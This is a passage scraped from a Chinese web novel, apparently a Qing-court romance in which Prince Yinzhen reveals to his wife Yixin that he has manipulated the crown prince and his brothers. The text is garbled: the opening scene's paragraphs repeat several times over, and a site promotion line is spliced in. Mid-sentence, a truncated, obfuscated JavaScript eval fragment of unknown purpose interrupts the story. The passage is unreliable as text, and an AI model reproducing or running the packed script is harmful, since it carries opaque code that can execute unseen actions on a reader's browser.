朔齐的心思从来藏得极好,只有傅辙知道些许,他没有拒绝的道理,温和点点头。 “雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 归有他们不可拉拢的人在,他们不会提及政事。 佟佳玉忱浅笑:“你我之间,何必言谢。” 朔齐笑着说要切实买一套文房四宝赠与佟佳玉忱。 有些人就是忽然相遇的。 朔齐低头克制移开视线,不敢再近一步,攥住佟佳玉忱的手腕。 束轩阁内,仪欣步履轻快散漫,挽着一个格格,耀如春华,如春之海棠,冬之腊梅,菩提手串在她腕间细细簌簌摩挲旗装上的木槿花,随性恣意,好似话本中天界散落在人间的小仙娥。 朔齐缓了缓呼吸,回忆着想,好似不管她在哪里,哪里就格外明媚些,甚怪。 “朔齐,怎么了?”佟佳玉忱疑惑出声,唤回他的心神。 不等佟佳玉忱得到朔齐的回答,他身边的小厮出声提醒道,“爷,是西林觉罗格格,身边似是雍亲王福晋。” 佟佳玉忱少年气笑笑,轻咳一声,“随我去打个招呼吧。” 朔齐的心思从来藏得极好,只有傅辙知道些许,他没有拒绝的道理,温和点点头。 “雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 归有他们不可拉拢的人在,他们不会提及政事。< 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“雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 归有他们不可拉拢的人在,他们不会提及政事。 佟佳玉忱浅笑:“你我之间,何必言谢。” 朔齐笑着说要切实买一套文房四宝赠与佟佳玉忱。 有些人就是忽然相遇的。 朔齐低头克制移开视线,不敢再近一步,攥住佟佳玉忱的手腕。 束轩阁内,仪欣步履轻快散漫,挽着一个格格,耀如春华,如春之海棠,冬之腊梅,菩提手串在她腕间细细簌簌摩挲旗装上的木槿花,随性恣意,好似话本中天界散落在人间的小仙娥。 朔齐缓了缓呼吸,回忆着想,好似不管她在哪里,哪里就格外明媚些,甚怪。 “朔齐,怎么了?”佟佳玉忱疑惑出声,唤回他的心神。 不等佟佳玉忱得到朔齐的回答,他身边的小厮出声提醒道,“爷,是西林觉罗格格,身边似是雍亲王福晋。” 佟佳玉忱少年气笑笑,轻咳一声,“随我去打个招呼吧。” 朔齐的心思从来藏得极好,只有傅辙知道些许,他没有拒绝的道理,温和点点头。 “雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 归有他们不可拉拢的人在,他们不会提及政事。 佟佳玉忱浅笑:“你我之间,何必言谢。” 朔齐笑着说要切实买一套文房四宝赠与佟佳玉忱。 有些人就是忽然相遇的。 朔齐低头克制移开视线,不敢再近一步,攥住佟佳玉忱的手腕。 束轩阁内,仪欣步履轻快散漫,挽着一个格格,耀如春华,如春之海棠,冬之腊梅,菩提手串在她腕间细细簌簌摩挲旗装上的木槿花,随性恣意,好似话本中天界散落在人间的小仙娥。 朔齐缓了缓呼吸,回忆着想,好似不管她在哪里,哪里就格外明媚些,甚怪。 “朔齐,怎么了?”佟佳玉忱疑惑出声,唤回他的心神。 不等佟佳玉忱得到朔齐的回答,他身边的小厮出声提醒道,“爷,是西林觉罗格格,身边似是雍亲王福晋。” 佟佳玉忱少年气笑笑,轻咳一声,“随我去打个招呼吧。” 朔齐的心思从来藏得极好,只有傅辙知道些许,他没有拒绝的道理,温和点点头。 “雍亲王福晋安好,”玉忱清润的声音在仪欣身后传来,他看向植宁,腼腆问,“植宁格格可有什么喜欢的笔墨吗?我.我送给你吧。” 植宁回眸,清冷的脸上猝不及防有些红晕,她刚刚就看见他了,百般掩饰背过身去装看不见,结果他还进来了。 “嗯,还好,没什么格外偏爱的。” 仪欣瞪圆了眼睛,兴奋看着来人,哇哇哇——佟佳玉忱本尊,哇哇哇! 她暗戳戳朝植宁眨眨眼,先去那边给王爷选块砚台,转身看到颇为熟悉的身影,见那人对自己温润点头拱手请安。 仪欣弯唇笑意盈盈寒暄一句,“朔齐表哥别来无恙。” 朔齐眼睛弯了弯,紧张摸了摸袖口的祥云绣纹,面色如常正常寒暄两句,便不再开口,只是退到不远不近的地方等着佟佳玉忱。 佟佳玉忱轻声问植宁要不要去酥阁买一些糕点,他见植宁对他想送的东西反应平平,便想送她些吃食也好。 仪欣一直暗戳戳竖着耳朵,听到酥阁,简直雀跃难忍。 她晃了晃植宁的衣袖,玩笑打趣道:“好啊好啊,去酥阁!去呗~一起去~植宁格格~” 门口处。 胤禛拎着酥阁的糕点上下抛了抛,眯着桃花眼与朔齐对视,轻笑一下,想着一会儿怎么去揪富察仪欣的小耳朵。 第154章 又要去吃谁家的小点心 仪欣轻拉着植宁的衣袖想着去结账一起逛点心铺子转身瞪圆了眼睛。 王爷?! “福晋又要去吃谁家的小点心?”胤禛随意问。 才一会儿不见她又要跟着谁去吃小点心?家里的小点心不够她吃吗?嗯?家花没有野花香吗?嗯? 这个朔齐确实比佟佳玉忱还要清俊静静站在那里确实很显眼。 富察仪欣最好老实点。 仪欣呆若木鸡吞吞吐吐挪过去想解释什么又没话说。 完了。 上次她那晚很认真的试探王爷才发现王爷在吃朔齐的醋然后她就被揍屁股了。 怎么今天还恰好碰见朔齐又碰见王爷。 完了。 胤禛薄唇轻抿神情淡淡眼睛倦怠垂着静静看着仪欣仪欣眼巴巴站得规规矩矩的也看着他。 “奴才给王爷请安。” 朔齐和佟佳玉忱一并行礼某种意义上讲 胤禛大步进来。 “玩的开心吗?”他温柔问。 仪欣悄悄拽拽他的袖口状似警告王爷你最好是在外面给我很多面子不然我就要生气了。 胤禛笑挑眉让她放心。 “开心。”仪欣弯唇说瞅他一眼“王爷怎么来了?” 胤禛解释只是路过还有事情没处理完并且嘱咐仪欣日落前回府。 仪欣连连点头看向胤禛身后欢欢喜喜问“王爷这糕点是给我买的吗?” 胤禛掂了掂手中糕点淡淡道:“不是。” 仪欣心里飘过一茬完了完了完了小点心都不让吃了。 仪欣跟胤禛说话间傅辙乐呵呵前来偶遇手里握着给仪欣准备的一把糖人见胤禛也在阔步走近行礼问安刚想问仪欣今日是否欢愉便看到一旁的朔齐。 顿时见了鬼似的。 傅辙:什么什么什么???? “三哥你怎么一副做贼心虚的模样?难不成你手中的糖人是偷来的吗?”仪欣纳闷嘀咕。 “啊?没有啊你们嘿嘿嘿好巧啊遇上王爷和福晋 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 ,还有表弟小九吃糖人吗? 傅辙乱七八糟扯了一通,环顾束台阁,发现植宁格格和佟佳玉忱,以及朔齐都一言难尽看着他,仿佛在问他去哪里做贼了。 胤禛扯唇笑,可不就是做贼心虚吗? “吃!仪欣眉眼弯弯想接过。 却被另一只骨节分明冷白的**先一步接过,胤禛漫不经心说,“她喉咙不舒服,她不吃。 胤禛抬腕扬手,吩咐苏培盛留人替仪欣结账,拿着一大把糖人转身离开。 仪欣:. 她喉咙已经好了。 胤禛此次出府是去见老十三,他在丰台大营忙碌异常,只是顺便看仪欣一眼。 哄王爷不是什么难事,仪欣照常跟植宁逛街。 傅辙沉默看着朔齐,朔齐安静对他笑了笑。 “小九,我和朔齐去茶楼用盏茶,你先逛街吧,好吗?傅辙问。 仪欣点点头,“可以,去吧。 朔齐和傅辙离开了,佟佳玉忱也不便多留,跟植宁打个招呼,先一步告辞。 茶楼。 傅辙给朔齐斟上一盏温热的茶,静静看着他。 朔齐温和平静,笑着反问:“表哥,怎么了? 傅辙和朔齐差四岁,关系最是要好,朔齐读书精进,幼时又有家中长辈隐晦间的戏言,傅辙从来将人看做妹夫。 只是,朔齐为人克己复礼,从不在外人面前应承那些戏谑的话,久而久之,童养夫的事便没什么人记得。 只有傅辙知道。 只有傅辙知道那无媵无妾无异腹之子的承诺。 傅辙轻叹一声,斟酌着开口:“从前的戏言,你便忘了吧。 朔齐抿一口茶,笑着说:“是,不过是长辈间的打趣。 戏言,戏言,他记了一年又一年。 傅辙挠挠头,笑呵呵叹道:“也是我多思了。 仪欣威风凛凛回府了,后面跟着满满登登一马车的物件。 硕大的**由四名小厮架着抬到库房里,专人打理着,只待春暖花开时,给十三福晋送过去。 明明府上有采买,仪欣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“有啊有啊。”仪欣猫猫点头,勾着他的佛珠,牵着他到饭桌旁,哐唧一下就坐到了胤禛的腿上。 “嘿嘿嘿,我喂王爷吃饭吧,”仪欣哄着蹭蹭他的腿,坐稳些。 “嗯?你喂我吃饭?那怎么不是本王坐你腿上?”胤禛垂眸问。 仪欣瞠目结舌,半晌咬咬牙说,“也行。” 胤禛闷闷笑出声来,愉悦抵了抵她的脑门,揪住她的小耳朵,凑近低声说:“不生你的气。” 他有些累了,拈酸吃醋的事情做不动了,当然,他也没有真的吃醋。 “那太好了。”仪欣心满意足。 挣脱后,她揉了揉软乎乎的耳朵。 仪欣握着玉箸给胤禛喂到嘴边一小块清蒸肥鸭,胤禛垂眸衔下去。 胤禛垂眸,脑袋靠在她并不宽阔的肩膀上,她身上独特的馥郁馨香冲淡他精神上的血腥气,他好疲倦,轻声说,“晚膳想用素食。” 暗室里,跟一大堆人肉待在一起,他咽不下肉。 “好。” 仪欣兢兢业业给他喂青菜,喂小点心。 喂燕窝粥时还会轻轻吹一吹,舀起半勺送到他略带晶莹的唇边,胤禛没有说什么话,只安心沉溺在这种氛围里。 仪欣左手牵着胤禛的手,右手辛勤夹菜。 她也察觉到胤禛身上浓浓的倦怠感,与他十指紧扣,静静陪着他。 苏培盛看得目瞪口呆,悄声带着伺候的人退下去。 仪欣本来想高超试探一下从龙之功和胤禛夺位的意图,结果看他好累,迷迷糊糊她就翻过去了。 难以启齿。 入夜,富察仪欣又被揍屁股了。 仪欣凶巴巴捂着刚挨完揍的屁股,皱皱巴巴的淡粉色寝衣揉搓成一团,她就站在寝殿中央,眼睛红红的看着胤禛。 “王爷,我要睡前院!”仪欣大声宣布。 胤禛解开寝衣扔到一边,裸露着胸膛,朝她张开胳膊,“过来,抱着哄。” 仪欣慢吞吞挪过去,瘪着嘴看着胤禛,低下头去,又飞快瞄一眼,王爷身材可真好。 但是,王爷指定是有点什么毛病! 秋后算账就算账! 边打边问她舒不舒服是怎么回事? 挑衅她吗?! 可恶! 胤禛弯唇把她拉到怀里,不紧不慢替她揉捏,看着刚刚有点红彤彤的屁股,心间痒痒,按耐着才没有补一巴掌。 “今天在外面,是不是特别给仪欣面子?是不是把你和西林觉罗格格选中的东西都一并付钱了?”胤禛问。 仪欣趴在胤禛腿上,点点头,“那倒是。” 胤禛揉揉她的脑袋,“对啊。” 仪欣说:“但是,今天跟朔齐根本没有关系,人家可能都忘了这回事了。” 胤禛垂眸,捏着她的下巴亲一口,“嗯,知道,你我之间,根本没有别人。” 仪欣掐一把他的腰,气恼道:“那你还揍我屁股?!” 胤禛低头笑,揉揉软乎乎的人儿,揶揄轻叹一声:“闺房之乐罢了。” 仪欣醺醺然卧在他的膝头,打击报复般挠胤禛的腰腹,胤禛也不恼,任由她惬意磨指甲。 仪欣小声抱怨:“王爷,你真的好难哄啊!” “是吗?那仪欣呢?仪欣好不好哄?”胤禛垂眸期待问。 仪欣抿唇憨笑,不遮掩道:“哎呀,我一哄就好。” “嗯,富察仪欣,记着你今晚说的话。”胤禛垂着眼轻声说。 夜凉如水,一似去秋时。 春寒料峭,仿佛有了深秋的氛围,仪欣暖融融窝在胤禛怀里酣眠,胤禛有一搭没一搭摩挲着她的脊骨。 钮祜禄府。 朔齐睡不着,枕着双臂安静想了一会儿白日和仪欣见面的场景。 能跟她说两句话,他偷偷开心了一会…其实,好像…偷偷开心了好久。 月光映出他芝兰玉树般的倒影,落在他的侧脸上,朔齐闭上眼睛。 他比小九大两岁。 幼时在富察氏学堂开蒙,他算是早慧,自小便隐晦知道姑母的意思,要将小九嫁回钮祜禄氏,最大可能便是选择他。 故而,早些时候,他对小九不免多些关注。 或者说,是偏爱。 小九最是惹人喜爱,而且身子又极弱。 越长大,越到知人事的年纪,他越清楚自己的心意。 只是,这个世道对女子总是苛刻些,他不敢贸然表露,只盼有一日可以三媒六聘,明媒正娶。 他知道十四阿哥的心思,只是不动声色替她挡去许多。 他也想送她很多簪钗首饰,只是最后都有分寸地换成她爱吃的糕点,大方分给学堂所有人,然后给她留一份。 他安静读书,挣功名,只盼有一日可以给小九安稳富足的生活。 他在傅辙面前喝醉过一次,跟傅辙说,他可以无媵无妾无异腹之子。 其实,当时,他甚至觉得,如果小九不能承受生育之苦,他可以无子。 可是,没有小九。 没有小九。 好遗憾啊。 * 胤禛这段时间很忙碌,恰逢换季,不忘顾着关注仪欣的身体。 仪欣每一次泡完药浴,只要是胤禛在府上,他定是在浴池外接她,然后疼惜表扬她很勇敢。 他常常满身是血,戾气盈身,但是,到时间之后,换衣裳熏香之后,还能不带外面的情绪回来,耐心陪仪欣读书。 仪欣有些小动物般的敏锐,她嗅觉灵敏,觉得很多时候,胤禛身上的气息很奇怪,雾蒙蒙的,像是闷在泥陶罐罐里的雨水长出的青苔。 但是,胤禛一切如常。 仪欣想问,又不知从何下手。 “怎么又走神了?”胤禛无奈问。 仪欣歪着身子蹭蹭他的腰带,叹口气,“每天都读诗书礼易春秋,有点看不下去了。” 胤禛缓缓捻了捻佛珠,垂眸看着仪欣,半晌笑着说:“好吧,给你讲点别的。” “讲什么呢?”仪欣拄着脑袋。 胤禛坐到桌案前,斟酌着开口:“讲讲史书的阳谋吧。阴谋诡计不足贵,阳谋才是真的可堪斟酌的东西。” 仪欣坐直身子。 “推恩令,围魏救赵,携天子以令诸侯,远交近攻,金刀计,杯酒释兵权,种桑误国,清君侧…” 胤禛握着仪欣的手,耐心阐释典故,讲这些阳谋的精妙之处,讲人性的弱点。 “可以听懂吗?” 仪欣思考着,说,“可以的。” 她总是爱黏人,坐着读书也不老实,总是想要抱着,磨蹭一会儿便要胤禛抱着讲。 胤禛弯唇,“这般黏人,若你的先生不是本王,看你找谁抱着。” 仪欣哼哧哼哧催促道,“王爷继续讲。” 胤禛紧张握着她的手,轻声说:“最后一个,便是…二桃杀三士,谁能为此谋。” 皇子夺位,又何尝不是二桃杀三士,不得不抢不争呢? 第156章胤禛掉马甲(1) 仪欣说:“我知道这个故事,晏子春秋。” “贤君所养勇士,当守君臣之义,长幼之序,内可止乱,外可御敌,国家受其益,百姓服其勇,故加爵厚禄。今此三人,上无尊君之心,下无敬长之理,不能安内攘外,实为乱国之患,宜早除之。”仪欣朗声道。 “三人勇猛,强攻难擒,暗杀亦恐不遂,为之奈何?” “嗯,背得很好。” 胤禛轻声引导问:“仪欣,礼义廉耻暂且不论,如果你和另外两个不分伯仲的人,面前论功行赏,只有两个桃子,该怎么办呢?” 皇位只有一个,皇阿玛挑拨皇子间的矛盾,平衡皇子间的势力。 仪欣,不争,该怎么办呢? 仪欣觉得胤禛话里有话,仰头看着他,轻声问:“没有桃子会怎么样呢?” 胤禛笑了笑,手指慵懒点了点自己的唇。 仪欣后仰直直吻上去,小猫钓鱼般愿者上钩。 胤禛解惑:“会死。” 仪欣猛抽一口凉气,赶紧再亲两口压压惊,胤禛捏着她的后颈,心里有些紧张。 仪欣配得感爆棚,她骄矜朗声道:“那就先论功拿桃子,如果不行,那就抢过来。” “对,那就抢过来。”胤禛哈哈大笑,抱着欢喜她亲了好多下,甚是可心。 亲到仪欣懵懵然,开心抿唇笑。 仪欣倚在他的身上,不知怎得便目光炯炯盯着胤禛。 不是,她是个蠢笨木头吗? 这么明显。 她忘记的事情,王爷这些时日一直在提醒她。 “王爷,你…你喜欢做皇帝吗?”仪欣咣叽一下就问出口。 福晋呦!娘哎!遮掩着说啊! 苏培盛腿一软,跪下去,胤禛淡淡眼风一扫,苏培盛屁滚尿流爬出去,将门掩上守好。 还好书房内只有他在伺候着,这要是传出去,算了,王爷怎么可能让这话传出去。 胤禛笑了。 刚想回答她,就见苏培盛蔫蔫的又把门打开了。 苏培盛面露哀泣,后面跟着传旨的两个小太监。 “王爷,福晋,良妃娘娘殁了,万岁爷悲痛难忍。” 仪欣震颤一下,起身将衣襟摆弄平整,又贴心正了正胤禛的衣冠,眼睛红润润的,轻声说:“辛苦公公传达,本福晋和王爷这就入宫。” 最难捱的冬日已然过去,没想到良妃葬在了春暖花开的时节。 仪欣不再问当皇帝的事情,她答应过姚虞,若是良妃去了,她会替姚虞做她那一份。 人总是在失去后更深爱。 康熙薄情又重情,良妃的丧仪规格极其庄重。 值得商榷的是,八福晋因重病不曾露面,康熙也未曾置喙。 太子禁足毓庆宫,未曾露面,但太子妃却不曾遭到牵连,主持大局,带领皇子福晋跪迎梓宫,依序行礼。 仪欣和太子妃身份最高,一前一后,身后是未曾出阁的公主和皇子福晋,带领其他八旗命妇在东华门外跪迎梓宫,行四肃二跪二叩大礼。 胤禛作为皇子,只需露面即可。 丧仪忙碌许久,仪欣在床榻上躺了两日,缓和精气神。 这日,胤禛沐休。 仪欣想继续那日的话题,想在床榻上懒床说些私房话。 胤禛给她拿了衣裳,笨拙往她身上套,“随本王出去见个人,回来再陪你睡。” “王爷,不想走。”仪欣搂住他的脖颈。 胤禛眸色暗了暗,抬眼捏了捏她的后颈,温声道:“听话,如果运气好的话,一起去吃乳酪冰碗。” 仪欣大惊:“王爷,你不会带我去见你的外室吧?不然怎么会许诺乳酪冰碗?哇去!” “富察仪欣,对,可能有外室,你赶紧跟着。” 胤禛额角突突地跳,外室外室外室,旁人夫君藏个外室,福晋都捕风捉影的,只有她,荤素不忌拿这个开玩笑。 仪欣一下子坐起来! 什么?! 看着丰神俊朗宽肩窄腰的胤禛,仪欣大喊大叫道:“晴云,给本福晋更衣!顺便清点几个武功高强的侍卫。” 仪欣气势汹汹,在马车上都是抱胸审视胤禛的状态,胤禛寡淡闭目养神,不理会她猫儿抓挠般勾人的目光。 到了地方,仪欣不用人搀扶,麻利跳下马车。 胤禛看着她雄赳赳去战斗的模样,缓缓弯唇。 “啊?这是哪里?”仪欣看着面前的府门,怒嗔道,“王爷把外室养在这么富丽堂皇的地方吗?!” 胤禛牵着她的手,笑骂一句:“小醋精。” “只有你,哪有什么外室?”胤禛缓缓道,“这里是太子京城别院。” “怪不得王爷次次去太子别院,鬼混一身脂粉气。” 说着说着,仪欣感觉好像破案了,豆大的泪珠毫无征兆落下,垂着眼说:“王爷,若是有外室,我不会解决外室。” “我只会解决你。”仪欣失落但坚决。 胤禛闭了闭眼,牵着她走到别院前,两名侍卫恭敬开门,二人阔步走进去。 “傻话,吾爱吾妻,此生再无二人。” “只是来见个人,别紧张。” 胤禛低头吻了吻她的眼睛,仪欣的睫毛羞涩轻颤,鼓了鼓腮帮子美滋滋挽上胤禛的手臂。 希望她等会儿也这么欢喜。 * 进到主殿。 太子沉默坐在上首,看着来人,目眦欲裂嗤笑一声,“老四,你说皇阿玛要废掉孤,可是实情?皇阿玛怎么会知道孤联络刑狱和京畿之事?” 仪欣第一次听到这种事,攥紧胤禛的手,这不是要谋反的准备吗?太子不是在禁足吗,怎么会出现在这里? 胤禛将仪欣往身后塞了塞,熟练点出几个人名,又指了指太子身旁的太监周进朝,“他,也是皇阿玛的人。” 周进朝大惊,跪了下去。 太子颤动激动,没有二话,抽出长剑就要斩杀周进朝。 最后还是胤禛派侍卫拦下,将周进朝押下去。 太子胸膛起伏,倚在一旁,才见到胤禛身后半掩的仪欣,女子云鬓花颜,欺霜赛雪,眼眶微红好似甘露落花苞。 室内只有他们三个人,庭间檐下守卫重重。 太子故意问:“老四,你也知道孤的意图吧?从龙之功,感不感兴趣?” 第157章胤禛掉马甲(2) 仪欣惊慌得一个劲儿挠胤禛的手心,从龙之功?说什么呢?说什么呢?! 胤禛攥紧她的手腕,三指压稳仪欣的脉搏,感受到她砰砰跳的心脉,一鼓作气说:“是,臣弟助殿下一臂之力,只求荣华富贵,权倾朝野。” 仪欣在身后急得不行,啊啊啊啊,王爷,咱们有钱啊,别卖身啊! 胤禛继续说:“本王手下有一批强劲火器,不知太子殿下感不感兴趣?” 太子眼中散发出热切的光芒。 二人相互试探,但又相互收买,猖狂邪肆,大逆不道地共谋大计。 胤禛沉稳有气势,从丰台大营的老十三,说到九门提督隆科多,仿佛谋反之事,他早已蓄谋已久,甚至稳操胜券。 从满头雾水到神魂恍惚,王爷…在跟太子谋划逼宫谋反之事。 仪欣缓缓看向胤禛,瞪圆了眼睛。 王爷纯孝,忠君爱民,他是不是糊涂了? 她刚察觉到胤禛对皇位或许有一争的想法,如今刷得一下,胤禛和太子要逼宫了。 仪欣想挣脱胤禛的手,逃出去冷静一会儿,胤禛瞥过来,冷冷道:“在这里陪着我。” 太子轻轻笑出声来,打趣道:“老四,咱们吓到弟妹了吧?也是,男人的事,别为难弟妹跟着思虑了。” “富察仪欣,在这听着。”胤禛背在身后的手早已濡湿,余光不错眼看着她。 仪欣消停下来,委屈兮兮看着胤禛,眼睛垂着盈满眼泪。 其实,外室之事,她根本不信王爷会做得出来,不过是跟他故意玩闹。 可是,怎么牵扯谋反了呢?还不如外室呢! 不对,外室也不行! * 离开太子别院,仪欣差点踩空,飘飘然挂在胤禛身上,还掐了胤禛一把,试试自己是不是在做梦。 “王爷,我有话要说。” 仪欣不知道说什么,但是她有满腔问题要道明。 胤禛食指抵在她的唇瓣上,漆黑眸色里不露迟滞,“别问,还没完。” 仪欣咽了咽口水,肩膀有些轻颤,胤禛仰头闭眼,紧张将她死死搂在怀里。 雍亲王府,东北角暗室。 胤禛将仪欣安置在屏风后,叮嘱安抚她不要出声。 他召来康熙的亲卫暗探,毫无迟疑,将一摞太子意欲逼宫谋反的信函铁证交给暗探,启奏皇帝。 并表示太子罪行,不容姑息。 并且,亲自吩咐下去,将几个刚刚太子别院提到的朝臣细细侦察。 胤禛这种事做得轻车熟路,他在太子和皇帝中间生存,演戏早已是划在骨子里的刀痕,消磨不掉了。 但是,今日,甚是紧张。 一切尘埃落定。 已近黄昏。 仪欣眼巴巴看着胤禛,若说一开始还觉得在做梦,现在就是已经麻了。 她一点都没发现。 每天晚上都抱着王爷啃,一点没发现。 胤禛淡淡说:“现在可以开口说话了。” 仪欣撸了撸袖子:“王爷,你跟太子算计皇阿玛,跟皇阿玛出卖太子啊?” 胤禛垂眸看着她的动作,面无表情道:“嗯。” 仪欣小心翼翼低声问:“为什么?” 胤禛轻笑:“本王真是白教你了,很难想到吗?” “回答仪欣那个问题,本王想当皇帝,本王喜欢做皇帝,本王可以做一个为国为民的皇帝,不比他们任何人做得差。” 胤禛声音很轻,却莫名有种铿锵有力、掷地有声的感觉,仪欣胳膊和脊背酥酥麻麻,她想过,她想过。 “还有呢?”仪欣直觉不可能只有这么点事。 环顾四周,人早已被支开,他们站在王府空旷的庭院。 今日种种,王爷不知安排了几遍。 胤禛风流笑,状做思索,拉长尾音道:“还有啊?” 仪欣不避不退,猫猫求知般直勾勾看着他。 “你刚过门时,乾清宫前,皇阿玛刺向老十四的那一剑,是本王故意挡下的。” “老九进养蜂夹道,本王关进去的。” “老八要还国库的四百万两白银,在本王在背后算计了他。” “老九的一半资产,其实是在咱们府上。” “郭络罗氏恰巧救出赫舍里氏,是本王指使协助。” “佟佳氏半年前轰然倒台,再到如今蒸蒸日上,是本王在背后打压和扶持。” “年氏入毓庆宫为弘皙侧福晋,年羹尧与太子合谋,是本王一手安排。” “年氏不曾有孕,乃至假孕,是本王派人喂了她伤本药物。” “如今,郭络罗氏为何销声匿迹,是本王在为她扫尾,拦下老八。” 仪欣吃惊,恍惚了,她跟胤禛分享这么久的八卦,全都是胤禛手把手操控的。 她不知道说什么好。 “能想到的就这么多了。”胤禛笑,转而将她拉到怀里禁锢着,喉结滚动,垂眸道,“本王不是无缘无故做这些的。” “世人爱君子诚孝友爱温润清澈,可君子论迹不论心。本王别无选择,无外戚姻亲,早在老三之前封受亲王之位,本王就是立在太子前面的活靶子。” “我是你的先生,学生有多少本事,我心中有分寸,你迟早有一天要自己看清我的真面目,倒不如我开诚公布。”胤禛垂眸看她,“但是,我也是你的夫君,你不能不要我。” 不要他? 仪欣因为他的话而怔愣,挣扎着离开他的怀抱,却发现胤禛抱得实在紧。 她确实一丁点都没发现。 端方温润,清廉勤政,诚孝友善,都是假的? 什么是真的? 那她呢?对她是不是真的。 她真的有点缺心眼,王爷真的聪明,把一群人玩弄在股掌之间,玩弄她不聪明的脑袋,就跟玩球一样。 仪欣茫然失措,就是乱糟糟的。 胤禛慢慢抬起她的下巴,与她对视,很容易就读懂了她的纠结和无措。 “所以仪欣怕我了,是吗?” 仪欣说不出话来。 胤禛低头笑,“确实,本王称不上光风霁月,甚至本性与你心中所有,截然相反,你不喜也是应当。” “没有。”仪欣下意识反驳,“没有不喜,没有不喜欢,是喜欢的,是不知道什么时候就很喜欢,但是…我不知道…我不知道我是不是认识你…” 胤禛抵住她的唇,不要说了。 仪欣薅下来他的手,仰头垂着眼睛说:“你说我们是夫妻,我不能不要你。可是王爷也不能欺负我笨,招猫逗狗一样随口糊弄我吧…” “我明明…明明你说什么我都相信…但是…我真的很笨吗…我…” 